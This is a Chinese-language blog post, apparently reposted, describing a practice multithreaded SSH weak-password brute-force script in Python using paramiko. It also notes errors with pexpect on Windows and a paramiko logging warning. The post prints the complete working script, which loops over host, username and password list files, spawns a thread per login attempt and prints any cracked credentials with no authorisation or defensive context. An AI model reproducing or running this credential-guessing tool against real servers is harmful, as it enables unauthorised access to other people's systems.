python ssh弱口令爆破多線程腳本及遇到的一些錯誤與問題


練習寫了個SSH弱口令爆破多線程腳本,遇到的問題

1、一開始想import pexpect 中的pxssh 然而卻一直該有錯誤,

ImportError: cannot import name spawn

google了下問題都說的很模糊也不清楚。有的說是pexpect模塊沒安裝好,有的說是python import的問題,因為在lib中已經有了spawn模塊,與pexpect模塊中的spawn重名了,所以報錯。但也都沒說清楚該這么弄。最后在here這里看到了問題原因,原來是pexpect根本不支持windows,我們可以用paramiko模塊來解決這個問題。

2、寫完代碼后,使用多線程后,雖然不報錯,但結果會有警告,

提示:No handlers could be found for logger “paramiko.transport”

 

 

 

我在這個網站this_web找到解決方案。只要加入一行代碼就行了。

paramiko.util.log_to_file("filename.log")

因為我們沒有配置日志,所以根應用程序和模塊不知道在哪里發送日志。所以只要將所有的連接都記錄到文件中就可以啦。

代碼丑將就看看。

#!usr/bin/env python
#!coding=utf-8

__author__='zhengjim'

import paramiko
from threading import Thread

def connect(host,user,pwd):
    try:
        ssh=paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(hostname=host,username=user,password=pwd,timeout=5)
        ssh.close()
        print '破解成功!用戶名:'+ user +',密碼:' + pwd + ',主機IP:'+ host
    except:
        pass

paramiko.util.log_to_file("filename.log") 
host=open('host.txt')
for line in host:
    host=line.strip('\n')
    print '開始爆破主機:'+host
    user=open('user.txt')
    for line in user:
        user=line.strip('\n')
        pwd =open('pwd.txt')
        for line in pwd:
            pwd = line.strip('\n')
            t=Thread(target=connect,args=(host,user,pwd))
            t.start()

 

  

目錄下需要host.txt,user.txt,pwd.txt三個文件

還有個問題就是,因為使用多線程,並且對多線程不太了解,所以程序不能在匹配到正確賬號密碼后跳出循環。望大牛可以教教我。~

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM